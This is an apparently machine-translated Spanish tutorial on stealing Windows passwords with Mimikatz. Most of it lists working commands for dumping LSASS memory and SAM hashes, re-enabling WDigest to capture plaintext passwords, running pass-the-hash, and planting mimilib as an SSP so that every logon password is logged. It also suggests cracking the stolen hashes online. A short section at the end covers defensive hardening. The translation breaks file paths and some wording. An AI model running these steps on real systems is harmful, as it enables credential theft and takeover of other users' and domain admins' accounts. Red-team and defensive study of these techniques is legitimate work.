En este artículo, escrito como parte de una serie dedicada a la seguridad de Windows, aprenderemos un método bastante simple para obtener las contraseñas de todos los usuarios activos de Windows que utilizan el Mimikatz herramienta.
Mimikatz.exe puede extraer contraseñas de texto sin formato de la memoria de Windows, hashes de contraseñas, tickets Kerberos, etc. Además, mimikatz le permite realizar ataques pass-the-hash, pass-the-ticket o generar tickets Golden Kerberos. La funcionalidad mimikatz también está disponible en Metasploit Framework.
Puede descargar el mimikatz desde el repositorio de GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Extraiga el archivo mimikatz_trunk.zip en C: Tools mimikatz. En este directorio aparecerán dos versiones de mimikatz: para x64 y x86. Utilice la versión para su bitness de Windows.
En este artículo, le mostraremos cómo obtener contraseñas de usuario en Windows Server 2016 o Windows 10 usando mimikatz.
Descargo de responsabilidad. La información y las tecnologías descritas en este artículo deben usarse solo con fines informativos y no para obtener acceso a las cuentas, datos y sistemas de terceros.
Hackear contraseñas hash de Windows en LSASS con Mimikatz
Intentemos volcar los hashes de contraseña de todos los usuarios registrados desde la memoria de Windows (proceso lsass.exe – Servicio de subsistema de autoridad de seguridad local) en un servidor RDS que ejecuta Windows Server 2016.
Ejecute los siguientes comandos en el símbolo del sistema elevado:
- Correr
Mimikatz.execomo administrador; - El siguiente comando otorgará a la cuenta actual los permisos para depurar procesos (SeDebugPrivilege):
privilege::debug - Enumere las sesiones de usuario activas:
sekurlsa::logonPasswords full - En mi caso en el servidor además de mi cuenta hay sesiones activas de dos usuarios:
novachyadministrator. - Copie sus hashes NTLM (resaltados en la captura de pantalla).
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:tmpmimikatz_output.txt
Ahora puede usar cualquier sin conexión (hay una hashcat en Kali Linux) o un servicio en línea para descifrar hashes NTLM. Usaré el servicio https://crackstation.net/.
Como puede ver, el servicio encontró rápidamente valores para estos hash NTLM. Es decir, recibimos las contraseñas de los usuarios en texto sin cifrar.
Imagine que se trata de un host RDS con muchos usuarios simultáneos y una sesión de administrador empresarial. Es decir, si tiene privilegios de administrador local en este servidor, incluso puede obtener la contraseña de administrador del dominio.
Como puede ver, gracias a mimikatz obtuvimos hash NTLM de todos los usuarios activos. El comando fue exitoso porque el modo de depuración está habilitado en esta computadora, lo que le permite configurar el SeDebugPrivilege bandera para el proceso deseado. En este modo, los programas pueden obtener acceso de bajo nivel a la memoria de los procesos iniciados en nombre del sistema.
Nota. En junio de 2017, muchas grandes empresas de muchos países se infectaron con el ransomware NotPetya, que utilizaba el módulo mimikatz incorporado para recopilar contraseñas de usuarios y administradores de dominio.
¿Cómo obtener las contraseñas de usuario del volcado de memoria de Windows?
El método anterior para obtener hashes de contraseña no funcionará si se instala un antivirus que bloquee la inyección. En este caso, tendrá que crear un volcado de memoria del proceso LSASS en el host de destino, copiarlo a su computadora y extraer los hashes de contraseña usando mimikatz.
Es bastante fácil crear un volcado de memoria de un proceso en Windows. Inicie el Administrador de tareas, busque el proceso lsass.exe, haga clic con el botón derecho y seleccione Crear archivo de volcado.

Windows guardará el volcado de memoria en la carpeta system32.
Solo tiene que analizar el archivo de volcado usando mimikatz (puede realizar esta tarea en otra computadora). Cargue el volcado de memoria en mimikatz:
Mimikatz “sekurlsa::minidump C:UsersusernameAppDataLocalTemplsass.DMP”
Obtenga nombres de usuario y sus hashes de contraseña de un volcado:
# sekurlsa::logonPasswords

Puede obtener un volcado de memoria desde una computadora remota usando psexec, o mediante WinRM (si tiene privilegios de administrador), y extraer la contraseña del usuario.
También puede utilizar el procdump herramienta de Sysinternals para obtener el volcado:
procdump -ma lsass.exe lsass.dmp
El volcado de memoria del proceso LSASS se puede obtener con Out-Minidump.ps1 función en PowerShell. Importe la función Out-Minidump en la sesión PoSh y cree un volcado de memoria del proceso LSASS:
Import-Module .OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Extracción de contraseñas de Windows de Hyberfil.sys y archivos de página de VM
También es posible extraer contraseñas de usuario de archivos de volcado de memoria, archivos de hibernación del sistema (hiberfil.sys) y. vmem de archivos de máquinas virtuales (archivos de paginación de máquinas virtuales y sus instantáneas).
Para hacerlo, necesitas el Herramienta de depuración para Windows (WinDbg), mimikatz sí mismo y un herramienta para convertir .vmem en un archivo de volcado de memoria (en Hyper-V, puede ser vm2dmp.exe o el kit de herramientas de memoria de Windows MoonSols para archivos vmem de VMWare).
Por ejemplo, para convertir un archivo de página vmem de una máquina virtual VMWare en un volcado, use este comando:
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp
Importe el volcado en WinDbg (Archivo -> Abrir Crash Dump), cargue la biblioteca mimikatz mimilib.dll:
.load mimilib.dll
Busque el proceso lsass.exe en el volcado:
!process 0 0 lsass.exe

Y finalmente, escriba:
.process /r /p fffffa800e0b3b30
!mimikatz
Como resultado, obtendrá una lista de usuarios de Windows y hash NTLM de sus contraseñas, o incluso contraseñas de texto sin cifrar.

Extracción de contraseñas de Windows en texto sin cifrar mediante WDigest
Puedes usar el WDigest Protocolo para la autenticación implícita HTTP en versiones heredadas de Windows. La principal falla de seguridad de este protocolo es que almacena la contraseña del usuario en la memoria en texto sin cifrar, en lugar de su hash. Mimikatz le permite extraer estas contraseñas de la memoria del proceso LSASS.EXE.
El protocolo WDigest está deshabilitado de forma predeterminada en todas las versiones nuevas de Windows, incluidas Windows 10 y Windows Server 2016/2019. Pero no completamente eliminado. Si tiene permisos de administrador local en Windows, puede habilitar el protocolo WDiget, esperar a que los usuarios inicien sesión y robar sus contraseñas.
Habilite Wdigest en Windows:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

Actualizar la configuración de la política de grupo:
gpupdate /force

Espere a que los usuarios inicien sesión y obtengan sus contraseñas con mimikatz (el usuario debe volver a iniciar sesión en Windows 10; en Windows Server 2016, es suficiente para desbloquear la sesión después de que la pantalla esté bloqueada):
privilege::debug
sekurlsa::wdigest
Como puede ver, la sección wdigest contiene la contraseña del usuario en texto sin cifrar:

Extracción de hashes de contraseña de usuario local de SAM
Con mimikatz, puede extraer los hash de contraseña de los usuarios locales de Windows (incluida la cuenta de administrador incorporada) de SAM:
privilege::debug
token::elevate
lsadump::sam
También puede extraer los hash NTLM del subárbol SAM del registro.
- Exporte las secciones del registro SYSTEM y SAM a archivos:
reg save hklmsam c:tmpsam.hiv
reg save hklmsecurity c:tmpsec.hiv
- Luego use Mimikatz para volcar los hashes de contraseña:
privilege::debug
token::elevate
lsadump::sam c:tmpsam.hiv c:tmpsec.hiv

Realización de ataques Pass-the-Hash a través de Mimikatz
Si el usuario tiene una contraseña segura y no puede descifrarla rápidamente con el hash NTLM, se puede utilizar Mimikatz para realizar un ataque pass-the-hash (reutilización de hash). En este caso, el hash se puede utilizar para ejecutar procesos en nombre del usuario objetivo. Por ejemplo, si descarga el hash NTLM de la contraseña de un usuario, el siguiente comando ejecutará un símbolo del sistema en esa cuenta:
privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

Además, puede utilizar el Invoke-TheHash herramienta para reutilizar las credenciales NTLM para ejecutar comandos en viajeros remotos.
Volcado de contraseñas desde el Administrador de credenciales de Windows
En Windows, puede guardar contraseñas en el Administrador de credenciales de Windows (pueden ser contraseñas para acceder a computadoras remotas, sitios web, credenciales RDP en el TERMSRV/hostname1 formato). Mimikatz puede extraer estas contraseñas de Credential Manager y mostrárselas:
privilege::debug
sekurlsa::credman
Como puede ver, la contraseña guardada se muestra debajo del credman sección.

Volcado de contraseñas de inicio de sesión de Windows en texto sin cifrar
Otra forma interesante de volcar contraseñas en Windows es utilizar un proveedor SSP adicional (Proveedor de soporte de seguridad) con tecnología mimikatz.
- Copie el archivo de biblioteca de Mimikatz mimilib.dll en la carpeta C: Windows System32 ;
- Registre un proveedor de SPP adicional con el comando:
reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberos msv1_0 schannel wdigest tspkg pku2u mimilib" /t REG_MULTI_SZ - Cuando cada usuario inicia sesión en Windows, su contraseña se escribirá en el archivo kiwissp.log. Puede mostrar todas las contraseñas con PowerShell:
Get-Content C:WindowsSystem32kiwissp.log</ li>

Proteja Windows contra ataques de volcado de credenciales
En Windows 8.1 y Windows Server 2012 R2 (y versiones posteriores), la capacidad de robar contraseñas de LSASS es limitada. Los hash y las contraseñas de LM no se almacenan en la memoria en estas versiones de Windows de forma predeterminada.
La misma funcionalidad es compatible con versiones anteriores de Windows (7/8 / 2008R2 / 2012), en las que necesita instalar una actualización especial. KB2871997 (la actualización proporciona otras opciones para mejorar la seguridad del sistema) y en la clave de registro HKLM SYSTEM CurrentControlSet Control SecurityProviders WDigest establecer el parámetro DWORD UseLogonCredential a 0 (WDigest está desactivado).
Si intenta extraer contraseñas de la memoria después de instalar esta actualización y la clave UseLogonCredential, verá que mimikatz no puede volcar contraseñas y hashes usando el comando creds_wdigest.

Arriba, mostramos cómo puede configurar fácilmente esta clave de registro en un valor vulnerable, si tiene permisos de administrador local. Después de eso, puede acceder nuevamente a las contraseñas en la memoria LSA.
En mimikatz, existen otras opciones para obtener contraseñas y sus hashes de la memoria (WDigest, LM-hash, NTLM-hash, el módulo para capturar tickets Kerberos). Por ello se recomienda implementar las siguientes medidas de seguridad para su protección:
- Evite el almacenamiento de contraseñas mediante el cifrado reversible;
- Desactivar WDigest;
- Evite guardar contraseñas en Credential Manager;
- Desactive NTLM;
- Evitar el almacenamiento en caché de las credenciales de usuario del dominio (por el CachedLogonsCount parámetro de registro o las opciones de directiva de grupo Política de inicio de sesión interactivo: número de inicios de sesión anteriores en caché);
- Si el nivel funcional del dominio es Windows Server 2012 R2 o más reciente, puede agregar las cuentas de administrador a la especial Usuarios protegidos grupo . En este caso, no se generarán hashes NTLM para dichos usuarios.
- Habilite la protección del proceso LSA:
reg add "HKLMSYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f(esta configuración solo permitirá que los procesos firmados por Microsoft accedan a la memoria LSASS, puede implementar esta clave de registro en el dominio a través de GPO); - Utilice Credential Guard para proteger el contenido LSA del proceso;
- Evite obtener privilegios de depuración incluso para administradores locales: GPO -> Configuración de Windows -> Configuración de seguridad -> Políticas locales -> Asignación de derechos de usuario -> Programas de depuración (Sin embargo, esto se puede omitir fácilmente si tiene permisos de LocalSystem o algo así)
Conclusiones. Una vez más, le recordamos algunos de los conceptos clave de seguridad.
- No utilice las mismas contraseñas para diferentes servicios (especialmente, para acceder a hosts RDP / RDS propiedad de terceros);
- Piense en la seguridad de sus contraseñas y datos almacenados en las máquinas virtuales en las nubes, porque no puede estar seguro de quién más tiene acceso a los hipervisores y al almacenamiento en el que se encuentran los archivos de la máquina virtual;
- Minimice la cantidad de cuentas que tienen privilegios de administrador local o global (consulte la guía Protección de cuentas de administrador en el entorno Windows);
- Nunca inicie sesión con la cuenta de administrador del dominio en servidores y computadoras accesibles para otros usuarios.





